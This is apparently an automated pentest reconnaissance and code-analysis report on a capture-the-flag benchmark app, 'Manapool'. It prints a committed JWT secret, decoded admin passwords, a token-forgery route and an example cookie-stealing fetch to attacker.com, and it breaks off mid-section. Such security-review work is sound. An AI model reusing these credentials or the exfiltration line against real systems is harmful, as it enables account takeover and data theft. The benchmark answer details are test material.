# Pre-Reconnaissance Report

## Port Discovery (naabu)
Status: Skipped
[object Object]

## Network Scanning (nmap)
Status: success
Starting Nmap 7.97 ( https://nmap.org ) at 2025-10-28 16:14 -0700
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000022s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 993 closed tcp ports (conn-refused)
PORT      STATE SERVICE   VERSION
80/tcp    open  http      Caddy httpd
|_http-title: Site doesn't have a title.
|_http-server-header: Caddy
443/tcp   open  ssl/https
|_http-title: Site doesn't have a title.
631/tcp   open  ipp       CUPS 2.3
|_http-title: Home - CUPS 2.3.4
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: CUPS/2.3 IPP/2.1
4567/tcp  open  tram?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.0 400 Bad Request
|     Content-Length: 607
|     Puma caught this error: Invalid HTTP format, parsing fails. Are you trying to open an SSL connection to a non-SSL Puma? (Puma::HttpParserError)
|     /usr/local/bundle/gems/puma-6.4.2/lib/puma/client.rb:268:in `execute'
|     /usr/local/bundle/gems/puma-6.4.2/lib/puma/client.rb:268:in `try_to_finish'
|     /usr/local/bundle/gems/puma-6.4.2/lib/puma/client.rb:287:in `eagerly_finish'
|     /usr/local/bundle/gems/puma-6.4.2/lib/puma/server.rb:449:in `process_client'
|     /usr/local/bundle/gems/puma-6.4.2/lib/puma/server.rb:245:in `block in run'
|     /usr/local/bundle/gems/puma-6.4.2/lib/puma/thread_pool.rb:155:in `block in spawn_thread'HTTP/1.1 400 Bad Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html;charset=utf-8
|     X-XSS-Protection: 1; mode=block
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: SAMEORIGIN
|     Content-Length: 2717
|     <!doctype html>
|     <!doctype html>
|     <html lang="en">
|     <head> 
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> 
|     <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
|     <title>Text Generator</title>
|     </head>
|     <body>
|     <!-- Navbar -->
|     <nav class="navbar navbar-expand-lg navbar-light bg-light">
|     class="navbar-brand" href="#">Text Generator</a>
|     <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
|     <span class="navbar-toggler-icon"></span>
|_    </button>
7777/tcp  open  http      SimpleHTTPServer 0.6 (Python 3.12.10)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.12.10
9999/tcp  open  http      SimpleHTTPServer 0.6 (Python 3.12.10)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.12.10
49158/tcp open  http      Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 401 Unauthorized
|     Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; script-src-elem 'none'; script-src-attr 'none'
|     Content-Type: text/plain; charset=utf-8
|     Tailscale-Cap: 115
|     Tailscale-Version: 1.82.5-tdec88625e-gec2eb9730
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Tue, 28 Oct 2025 23:14:31 GMT
|     Content-Length: 14
|     auth required
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; script-src-elem 'none'; script-src-attr 'none'
|     Content-Type: text/plain; charset=utf-8
|     Tailscale-Cap: 115
|     Tailscale-Version: 1.82.5-tdec88625e-gec2eb9730
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Tue, 28 Oct 2025 23:14:16 GMT
|     Content-Length: 14
|_    auth required
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port4567-TCP:V=7.97%I=7%D=10/28%Time=69014E48%P=arm-apple-darwin24.4.0%
SF:r(GetRequest,B4C,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20text/html;
SF:charset=utf-8\r\nX-XSS-Protection:\x201;\x20mode=block\r\nX-Content-Typ
SF:e-Options:\x20nosniff\r\nX-Frame-Options:\x20SAMEORIGIN\r\nContent-Leng
SF:th:\x202717\r\n\r\n<!doctype\x20html>\n<!doctype\x20html>\n<html\x20lan
SF:g=\"en\">\n\x20\x20<head>\x20\n\x20\x20\x20\x20<meta\x20charset=\"utf-8
SF:\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=devi
SF:ce-width,\x20initial-scale=1,\x20shrink-to-fit=no\">\x20\n\x20\x20\x20\
SF:x20<link\x20href=\"https://maxcdn\.bootstrapcdn\.com/bootstrap/4\.5\.2/
SF:css/bootstrap\.min\.css\"\x20rel=\"stylesheet\">\n\n\x20\x20\x20\x20<ti
SF:tle>Text\x20Generator</title>\n\x20\x20</head>\n\x20\x20<body>\n\x20\x2
SF:0\x20\x20<!--\x20Navbar\x20-->\n\x20\x20\x20\x20<nav\x20class=\"navbar\
SF:x20navbar-expand-lg\x20navbar-light\x20bg-light\">\n\x20\x20\x20\x20\x2
SF:0\x20<a\x20class=\"navbar-brand\"\x20href=\"#\">Text\x20Generator</a>\n
SF:\x20\x20\x20\x20\x20\x20<button\x20class=\"navbar-toggler\"\x20type=\"b
SF:utton\"\x20data-toggle=\"collapse\"\x20data-target=\"#navbarNav\"\x20ar
SF:ia-controls=\"navbarNav\"\x20aria-expanded=\"false\"\x20aria-label=\"To
SF:ggle\x20navigation\">\n\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\
SF:"navbar-toggler-icon\"></span>\n\x20\x20\x20\x20\x20\x20</button>\n\x20
SF:")%r(GenericLines,2AC,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Le
SF:ngth:\x20607\r\n\r\nPuma\x20caught\x20this\x20error:\x20Invalid\x20HTTP
SF:\x20format,\x20parsing\x20fails\.\x20Are\x20you\x20trying\x20to\x20open
SF:\x20an\x20SSL\x20connection\x20to\x20a\x20non-SSL\x20Puma\?\x20\(Puma::
SF:HttpParserError\)\n/usr/local/bundle/gems/puma-6\.4\.2/lib/puma/client\
SF:.rb:268:in\x20`execute'\n/usr/local/bundle/gems/puma-6\.4\.2/lib/puma/c
SF:lient\.rb:268:in\x20`try_to_finish'\n/usr/local/bundle/gems/puma-6\.4\.
SF:2/lib/puma/client\.rb:287:in\x20`eagerly_finish'\n/usr/local/bundle/gem
SF:s/puma-6\.4\.2/lib/puma/server\.rb:449:in\x20`process_client'\n/usr/loc
SF:al/bundle/gems/puma-6\.4\.2/lib/puma/server\.rb:245:in\x20`block\x20in\
SF:x20run'\n/usr/local/bundle/gems/puma-6\.4\.2/lib/puma/thread_pool\.rb:1
SF:55:in\x20`block\x20in\x20spawn_thread'HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port49158-TCP:V=7.97%I=7%D=10/28%Time=69014E48%P=arm-apple-darwin24.4.0
SF:%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(GetRequest,192,"HTTP/1\.0\x20401\x20Unauthorized\r\n
SF:Content-Security-Policy:\x20default-src\x20'none';\x20frame-ancestors\x
SF:20'none';\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20scr
SF:ipt-src-attr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8
SF:\r\nTailscale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-
SF:gec2eb9730\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x2
SF:0DENY\r\nDate:\x20Tue,\x2028\x20Oct\x202025\x2023:14:16\x20GMT\r\nConte
SF:nt-Length:\x2014\r\n\r\nauth\x20required\n")%r(HTTPOptions,192,"HTTP/1\
SF:.0\x20401\x20Unauthorized\r\nContent-Security-Policy:\x20default-src\x2
SF:0'none';\x20frame-ancestors\x20'none';\x20script-src\x20'none';\x20scri
SF:pt-src-elem\x20'none';\x20script-src-attr\x20'none'\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nTailscale-Cap:\x20115\r\nTailscale-Ver
SF:sion:\x201\.82\.5-tdec88625e-gec2eb9730\r\nX-Content-Type-Options:\x20n
SF:osniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Tue,\x2028\x20Oct\x20202
SF:5\x2023:14:16\x20GMT\r\nContent-Length:\x2014\r\n\r\nauth\x20required\n
SF:")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x2
SF:0Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x
SF:20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnectio
SF:n:\x20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,192,"HTT
SF:P/1\.0\x20401\x20Unauthorized\r\nContent-Security-Policy:\x20default-sr
SF:c\x20'none';\x20frame-ancestors\x20'none';\x20script-src\x20'none';\x20
SF:script-src-elem\x20'none';\x20script-src-attr\x20'none'\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nTailscale-Cap:\x20115\r\nTailscale
SF:-Version:\x201\.82\.5-tdec88625e-gec2eb9730\r\nX-Content-Type-Options:\
SF:x20nosniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Tue,\x2028\x20Oct\x2
SF:02025\x2023:14:31\x20GMT\r\nContent-Length:\x2014\r\n\r\nauth\x20requir
SF:ed\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.72 seconds


## Subdomain Discovery (subfinder)
Status: success
server02.counterintel.localhost
fndlync01.5ninesdata.localhost
autodiscover.localhost
owa.regency.localhost
tools.sonoma.edu.localhost
naeu2.naeuinc.localhost
mail.localhost
mail03.regency.localhost
mail.regency.localhost
server2.hunter.localhost
exchvm.nwcnet.localhost
www.localhost
mse-ca-mail.corp.mse.localhost
autodiscover.regency.localhost
mail02.regency.localhost
sbs.allsaintsschool.localhost


## Technology Detection (whatweb)
Status: success
[1m[34mhttp://localhost:36327[0m [200 OK] [1mHTML5[0m, [1mHTTPServer[0m[[1m[36mnginx/1.29.2[0m], [1mIP[0m[[0m[22m::1[0m], [1mScript[0m, [1mTitle[0m[[1m[33mManaPool[0m], [1mUncommonHeaders[0m[[0m[22mx-nextjs-cache[0m], [1mX-Powered-By[0m[[0m[22mNext.js[0m], [1mnginx[0m[[1m[32m1.29.2[0m]

## Code Analysis
# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All subsequent tasks must adhere to this scope. Before reporting any finding (e.g., an entry point, a vulnerability sink), verification has been performed to ensure it meets the "In-Scope" criteria.

## In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints.
- Endpoints requiring authentication via the application's standard login mechanisms.
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code.

## Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`).
- A development environment's internal tooling (e.g., a "run script" button in an IDE).
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions).
- Database migration scripts, backup tools, or maintenance utilities.
- Local development servers, test harnesses, or debugging utilities.
- Static files or scripts that require manual opening in a browser (not served by the application).

---

## 1. Executive Summary

**Target Application:** XBEN-084-24 - Manapool NFT Digital Art Investment Platform  
**Architecture Type:** Containerized microservices web application with Next.js frontend  
**Overall Security Posture:** **CRITICAL RISK**

This security analysis reveals severe vulnerabilities across multiple critical security domains in the Manapool application. The application is a Next.js 14-based NFT/digital art investment platform comprising three containerized services: a frontend application (Next.js), a mock S3 storage service (s3rver), and an Nginx reverse proxy. The analysis identifies **15+ critical and high-severity vulnerabilities** that pose immediate risk of complete system compromise, including non-existent password hashing (Base64 encoding only), hardcoded JWT secrets, unencrypted database backups exposed via S3, and a critical server-side request forgery (SSRF) vulnerability.

The most alarming finding is the complete absence of cryptographic password hashing—user passwords are merely Base64-encoded, making them trivially reversible by any attacker with database access. Combined with an unencrypted database backup accessible via the S3 service, this creates a critical path to full account takeover of all users, including the master administrative account (will.rogers@manapool.com). Additionally, the application's JWT authentication system uses a hardcoded secret key committed to version control, enabling any attacker with repository access to forge authentication tokens and impersonate users. The SSRF vulnerability in the S3 proxy endpoint allows attackers to potentially access internal services and the database backup directly through network requests.

The attack surface is well-defined but poorly defended: 8 HTTP endpoints and 1 S3 API endpoint expose functionality ranging from public landing pages to authenticated admin panels. While the application correctly implements parameterized SQL queries to prevent injection attacks, and React's automatic JSX escaping provides baseline XSS protection, these positive security controls are vastly outweighed by fundamental authentication, authorization, and data protection failures. The application lacks essential security headers (CSP, HSTS, X-Frame-Options), implements insecure session management with missing cookie security flags, and uses a wildcard CORS configuration that enables cross-site request forgery attacks. This combination of critical vulnerabilities creates multiple high-probability attack paths to achieve the CTF objective: capturing the flag from the admin profile, which requires either authentication bypass, privilege escalation to isMaster=1, or exploitation of the SSRF vulnerability to access the database backup.

---

## 2. Architecture & Technology Stack

**Application Name:** XBEN-084-24 - Manapool  
**Purpose:** NFT Digital Art Investment Platform  
**Architecture Pattern:** Three-tier containerized microservices with reverse proxy

The Manapool application implements a microservices architecture orchestrated via Docker Compose, with clear network segmentation and trust boundaries. The architecture consists of three containerized services communicating across two Docker networks (default and internal), creating a defense-in-depth approach to network isolation. However, analysis reveals that while the architectural pattern follows modern best practices for service separation, security controls within each service are critically deficient.

### Service Architecture

**Frontend Service (Next.js Application)**  
- **Technology:** Next.js 14.2.3 (React 18-based full-stack framework)
- **Runtime:** Node.js 20 Alpine Linux container
- **Port:** 3000 (internal only, not externally exposed)
- **Database:** SQLite 3 (file-based, located at `/app/db/manapool.db`)
- **Build System:** npm with TypeScript 5.x strict mode compilation
- **Primary Functions:** Web UI rendering, API endpoints, authentication, session management, database operations
- **Trust Boundary:** Receives requests only from Nginx reverse proxy on internal network

The frontend implements the Next.js App Router (for page routes) and Pages Router (for API routes) simultaneously, creating a hybrid routing architecture. This presents two critical security implications: (1) Server actions are enabled with wildcard origin allowance (`allowedOrigins: ["*"]`), completely bypassing same-origin policy for server-side operations; (2) API routes at `/pages/api/*` handle authentication and data access without centralized middleware protection. The authentication system uses JWT tokens with jsonwebtoken 9.0.2, storing tokens in client-side cookies with a 7-day expiration despite the JWT itself having only a 1-hour validity window—this mismatch creates a window for stale token attacks.

**S3 Storage Service (Mock S3 Server)**  
- **Technology:** s3rver 3.7.1 (S3-compatible mock server built on Koa.js)
- **Runtime:** Node.js 18 Alpine Linux container
- **Port:** 8333 (exposed externally through Nginx + accessible internally)
- **Storage:** File-based mock S3 buckets at `/buckets` directory
- **Buckets:** `/assets` (public images: 8 files) and `/backups` (contains `manapool.db` database backup)
- **Security Controls:** None at application level; Nginx provides HTTP method restrictions

The S3 service operates without any authentication mechanism—s3rver is configured with no access keys, secret keys, or signature validation. The service binds to `0.0.0.0:8333`, making it accessible from all network interfaces. While Nginx configuration restricts external access to GET/HEAD/OPTIONS methods only, internal services have unrestricted access to all HTTP methods. Critically, the `/backups` bucket contains an unencrypted copy of the entire application database (`manapool.db._S3rver_object`), creating a high-value target for attackers who can bypass the S3 proxy's intended restrictions.

**Nginx Reverse Proxy**  
- **Technology:** Nginx (Alpine Linux)
- **Ports:** 80 (HTTP frontend proxy), 8333 (S3 proxy with method restrictions)
- **Configuration File:** `/nginx/nginx.conf`
- **Security Controls:** HTTP method filtering on S3 endpoint, client body size limits (8MB), header buffer size restrictions
- **Function:** Routes external traffic to frontend service (port 80) and S3 service (port 8333)

Nginx serves as the sole external entry point, bridging the default Docker network (external-facing) with the internal network (service-to-service communication). The configuration implements basic DoS protections via buffer size limits but lacks critical security headers entirely—no Content-Security-Policy, X-Frame-Options, Strict-Transport-Security, or X-Content-Type-Options headers are present. The HTTP method restriction on the S3 proxy (`limit_except GET HEAD OPTIONS { deny all; }`) provides partial protection against write operations from external attackers, but this control is implemented at the network layer rather than application layer, creating potential bypass opportunities through SSRF or other proxy manipulation techniques.

### Technology Stack Security Implications

**Next.js 14.2.3 Framework**  
The application uses Next.js 14's cutting-edge features including Server Actions, Server Components, and hybrid routing. While these features enable modern development patterns, they introduce security risks when misconfigured. The `next.config.mjs` file contains the most dangerous configuration: `allowedOrigins: ["*"]` for server actions, which explicitly disables CORS protection for all server-side operations marked with `"use server"` directives. This allows any malicious website to invoke server actions like `checkSession()`, potentially enabling CSRF attacks and unauthorized data access.

**Authentication & Session Libraries**  
- **jsonwebtoken 9.0.2:** JWT signing and verification (using HS256 with static secret)
- **iron-session 8.0.1:** Installed but completely unused (dead dependency)
- **js-cookie 3.0.5:** Client-side cookie manipulation (lacks security attribute support)
- **cookie 0.6.0:** Server-side cookie parsing

The presence of iron-session as an installed but unused dependency suggests the development team may have initially planned encrypted session storage but reverted to simpler JWT cookies. Iron-session provides AES-256-GCM encrypted session cookies with automatic CSRF protection, httpOnly, secure, and sameSite attributes by default—all features this application critically needs but lacks. The actual implementation using js-cookie for client-side cookie storage creates multiple security gaps: cookies set from JavaScript cannot have the httpOnly flag, making them vulnerable to XSS-based token theft; the 7-day cookie expiration exceeds the 1-hour JWT validity period; and no sameSite attribute prevents CSRF attacks.

**Input Validation & Sanitization**  
- **validator 13.12.0:** Email normalization and string escaping
- **xss 1.0.15:** XSS filtering library

These libraries are applied inconsistently across the codebase. The authentication endpoint (`/pages/api/auth.ts`) applies both `validator.normalizeEmail()` and `xss()` filtering to user inputs, providing basic protection against stored XSS and email injection. However, the S3 proxy endpoint (`/pages/api/s3/[slug].ts`) performs no input validation whatsoever on the filename parameter, creating the critical SSRF vulnerability. The reliance on React 18's automatic JSX escaping provides baseline XSS protection in the UI layer, but the absence of Content-Security-Policy headers means any successful XSS payload can execute unrestricted JavaScript.

**Database Technology: SQLite 3**  
SQLite is appropriate for development and small-scale deployments but presents several production security concerns in this implementation: (1) file-based storage with insufficient file permissions (644, world-readable); (2) no connection-level encryption (not applicable to SQLite); (3) single-writer limitations creating potential DoS vectors; (4) no built-in user authentication or row-level security. Positively, the application correctly uses parameterized queries via the sqlite3 library's prepared statement API, completely eliminating SQL injection vulnerabilities. The database access layer (`/frontend/app/db/sqlite.tsx`) implements a singleton pattern for connection management, though it includes an unnecessary `SELECT * FROM users` query on every connection initialization that degrades performance and increases information disclosure risk.

**Critical Security Component Gaps**  
The architecture lacks several essential security components expected in production applications:
- **No API Gateway:** All API routes are directly exposed through Next.js without centralized authentication/authorization middleware
- **No Rate Limiting:** Authentication endpoints have no brute-force protection, login attempts are unlimited
- **No Web Application Firewall (WAF):** No OWASP ModSecurity rules, no request filtering beyond basic Nginx method restrictions
- **No Intrusion Detection:** No monitoring for suspicious patterns, no automated threat response
- **No Security Information and Event Management (SIEM):** Minimal logging, no log aggregation or analysis
- **No Secrets Management:** Secrets stored in plaintext `.env` files committed to Git

### Network Architecture & Trust Boundaries

**External Trust Boundary (Internet → Nginx)**  
- **Network:** Default Docker bridge network
- **Exposure:** Ports 80 (HTTP) and 8333 (S3) accessible from any IP address
- **Security Controls:** HTTP method filtering on port 8333, client body size limits
- **Attack Surface:** This boundary is the primary entry point for external attackers

**Internal Trust Boundary (Nginx → Frontend/S3)**  
- **Network:** Custom internal Docker bridge network
- **Security Controls:** Network isolation via Docker networking
- **Trust Model:** Nginx implicitly trusts all responses from frontend/S3 services
- **Vulnerability:** If frontend is compromised via SSRF or other attack, attacker gains full access to internal network

**Service-to-Service Communication (Frontend ↔ S3)**  
- **Protocol:** HTTP (unencrypted) over internal Docker network
- **Authentication:** None required—frontend has unrestricted S3 access
- **Security Risk:** Frontend compromise enables full S3 bucket access including database backups
- **Data Flow:** Frontend proxies user requests to S3 via `/api/s3/[slug]` endpoint

The trust model treats the internal Docker network as a trusted zone, but this assumption fails if any service is compromised. The SSRF vulnerability in the frontend service creates a direct path to bypass intended access controls: an attacker can manipulate the S3 proxy endpoint to access `/backups/manapool.db` despite Nginx restricting external write operations, because the request originates from the trusted frontend service.

**Deployment & Container Security**  
All services use Alpine Linux base images (minimal attack surface), but container security hardening is absent:
- No user context specified (running as root by default)
- No read-only filesystem restrictions
- No capability dropping
- No seccomp/AppArmor profiles
- Build-time secrets (FLAG) embedded in image layers via ARG/sed replacement

Health checks are properly implemented for all services, enabling automatic restart on failure, but this also means compromised containers will automatically restart, potentially perpetuating persistence mechanisms.

---

## 3. Authentication & Authorization Deep Dive

The authentication and authorization implementation in Manapool represents the most critical failure domain in the entire application. This section details severe vulnerabilities spanning credential storage, token management, session handling, and privilege enforcement.

### Authentication Mechanisms

**Password Storage: Complete Cryptographic Failure**  
**Affected File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/pages/api/auth.ts` (Lines 7-12, 23)

The application implements the most severe authentication vulnerability possible: passwords are stored using Base64 encoding rather than cryptographic hashing. This is not a weakness—it is a complete absence of password security. The `stringToBase64()` function performs a trivial encoding operation that can be reversed by any attacker in milliseconds using standard command-line tools:

```typescript
const stringToBase64 = (input: string) => {
    const buffer = Buffer.from(input, "utf-8");
    const base64String = buffer.toString("base64");
    return base64String;
}
```

This function is used on line 23 during login: `const sanitizedPassword = stringToBase64(xss(validator.escape(password)))`. The database stores these Base64-encoded "passwords" which can be decoded instantly:

- `Tm9FTlZNeGpHSzNOM2tH` → decodes to `NoENVMxjGK3N3kG` (will.rogers@manapool.com, master admin)
- `UmxsS1NoSE9MWFZCQ1Nh` → decodes to `RllKShHOLXVBCSa` (chris.paulman@manapool.com)
- `b0pIT0diN3J4Qk91aTRy` → decodes to `oJHOGb7rxBOui4r` (julia.mattarazo@manapool.com)

The security impact cannot be overstated: any attacker who gains access to the database through SQL injection (mitigated by parameterized queries), backup file access (exposed via S3), file system access, memory dumps, or database export immediately obtains all user passwords in plaintext form. This violates every security standard and regulation:
- OWASP A02:2021 - Cryptographic Failures
- PCI DSS Requirement 8.2.1 - Strong cryptography for password storage
- GDPR Article 32 - Security of processing requiring encryption
- NIST SP 800-63B - Password storage with approved hash functions

The correct implementation should use bcrypt with cost factor 12+ (or Argon2id/scrypt), which is computationally expensive to reverse even with the database. This single vulnerability enables complete account takeover of all users including administrators with zero cryptographic work required.

**Authentication Endpoint Security**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/pages/api/auth.ts` (Lines 14-63)

The `POST /api/auth` endpoint implements the login flow with several critical security deficiencies:

```typescript
export default async function handler(req: NextApiRequest, res: NextApiResponse) {
    if (req.method === "POST") {
        const { email, password } = req.body;
        
        if (!email || !password) {
            return res.status(400).json({ error: "Missing credentials." });
        }

        const sanitizedEmail = validator.normalizeEmail(xss(email));
        const sanitizedPassword = stringToBase64(xss(validator.escape(password)));
```

**Missing Security Controls:**
1. **No Rate Limiting:** The endpoint accepts unlimited login attempts, enabling brute-force attacks against the 5 known email addresses from database reconnaissance
2. **No Account Lockout:** Failed login attempts have no consequences—attackers can attempt millions of password combinations
3. **No CAPTCHA:** No protection against automated credential stuffing attacks
4. **No MFA:** Even correct passwords provide unrestricted access with no second factor
5. **Information Disclosure:** Line 42 logs user IDs to console: `console.log(userResult[0].uid)`, revealing successful logins to anyone with log access
6. **Timing Attacks:** Database query timing differences may reveal whether email exists (though minimal in SQLite)

**Database Authentication Query**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/db/sqlite.tsx` (Lines 35-45)

The database query correctly uses parameterized statements, preventing SQL injection:

```typescript
export const signIn = async (credentials: TCredentials) => {
    "use server"
    const db = await getDB();
    const query = "SELECT * FROM users WHERE email = ? AND password = ?";
    const stmt = await db.prepare(query);
    const user = await stmt.all(credentials.email, credentials.password);
    
    await stmt.finalize();
    return user;
}
```

While this protects against SQL injection, the comparison is between the submitted Base64-encoded password and the stored Base64-encoded password—both in plaintext-equivalent form. The `SELECT *` pattern returns all user columns including sensitive fields (isMaster, amount), though this is necessary for authentication. The positive security practice of parameterized queries is undermined by the fundamental password storage failure.

**JWT Token Generation & Secrets Management**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/pages/api/auth.ts` (Lines 43-48)

On successful authentication, the server generates a JWT token:

```typescript
const secret = process.env.SECRET_KEY as string;

const token = await jwt.sign({
    uid: userResult[0].uid,
}, secret, {
    expiresIn: '1h'
});

return res.status(200).json({token: token});
```

**Critical Vulnerabilities:**

1. **Hardcoded Secret in Version Control**  
   **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/.env` (Line 1)
   ```
   SECRET_KEY = "2kI0Zu7N6ptVPDurCTfqBGVCd+qpaSFO6m4/20SCZQU="
   ```
   This `.env` file is committed to the Git repository, exposing the JWT signing secret to anyone with repository access (developers, CI/CD systems, compromised developer machines, Git history). An attacker with this secret can forge JWT tokens with arbitrary user IDs, enabling complete authentication bypass. They can craft a token with `uid: "9666"` (the master admin William Rogers) and gain full administrative access without knowing any passwords.

2. **Minimal JWT Claims:** The token contains only the user ID (`uid`), requiring a subsequent API call to fetch user privileges (`isMaster` flag). This creates an additional attack surface and token exposure via the `/api/user` endpoint.

3. **No Token Revocation:** JWTs are stateless—once issued, they remain valid until expiration (1 hour). There is no logout mechanism server-side; the `/logout` page only clears the client-side cookie. A stolen token continues to work even after the user "logs out."

4. **Algorithm Not Specified:** The code relies on jsonwebtoken's default algorithm (HS256), but doesn't explicitly set `algorithm: 'HS256'` in verification, potentially allowing algorithm confusion attacks if the library's default changes.

**Comprehensive List of Authentication API Endpoints:**

1. **POST /api/auth** (Login)
   - **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/pages/api/auth.ts:14`
   - **Function:** Accepts email/password, returns JWT token
   - **Authentication:** Public (no auth required)
   - **Vulnerabilities:** No rate limiting, passwords in Base64, logs UIDs, no MFA

2. **GET /api/user?token={jwt}** (Token Validation / User Info Retrieval)
   - **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/pages/api/user.ts:16`
   - **Function:** Validates JWT, returns user profile including isMaster flag
   - **Authentication:** Requires valid JWT token (passed as query parameter)
   - **Vulnerabilities:** Token in URL (logged in access logs), no rate limiting

No other authentication-related API endpoints exist (no registration, password reset, or token refresh).

### Session Management

**Session Cookie Configuration: Missing Critical Security Attributes**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/components/LoginForm.tsx` (Line 30)

After successful login, the JWT token is stored in a client-side cookie:

```typescript
Cookies.set("token", response.data.token, {expires: 7})
```

**Missing Security Flags - Critical Vulnerabilities:**

The exact file and line where session cookie flags should be configured is Line 30 of `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/components/LoginForm.tsx`, but currently NO security flags are set. This creates multiple severe vulnerabilities:

1. **Missing `HttpOnly` Flag:**
   - **Impact:** Cookie is accessible via JavaScript (`document.cookie`)
   - **Attack:** XSS attacks can steal authentication tokens with a single line: `fetch('https://attacker.com/steal?token=' + document.cookie)`
   - **Severity:** HIGH - Any XSS vulnerability (including in third-party libraries) enables complete session hijacking
   - **Current Code:** `Cookies.set("token", response.data.token, {expires: 7})` - no httpOnly specified
   - **Note:** The js-cookie library used for client-side cookie setting CANNOT set httpOnly flag—this must be done server-side

2. **Missing `Secure` Flag:**
   - **Impact:** Cookie transmitted over unencrypted HTTP connections
   - **Attack:** Man-in-the-middle attackers on public WiFi, compromised network infrastructure, or ISP-level attacks can intercept tokens
   - **Severity:** HIGH - Session hijacking via network interception
   - **Current Code:** No secure flag specified
   - **File to Fix:** Must move cookie-setting to server-side in `/pages/api/auth.ts`

3. **Missing `SameSite` Attribute:**
   - **Impact:** Cookie sent with cross-site requests, enabling CSRF attacks
   - **Attack:** Malicious website can trigger authenticated requests to Manapool API endpoints
   - **Severity:** MEDIUM-HIGH - Combined with wildcard CORS (`allowedOrigins: ["*"]`), enables complete CSRF
   - **Current Code:** No sameSite specified

**Correct Implementation (must be server-side):**  
The cookie should be set in `/pages/api/auth.ts` after JWT generation:

```typescript
res.setHeader('Set-Cookie', [
    `token=${token}; HttpOnly; Secure; SameSite=Strict; Max-Age=${60*60}; Path=/`
]);
```

**Session Expiration Mismatch:**  
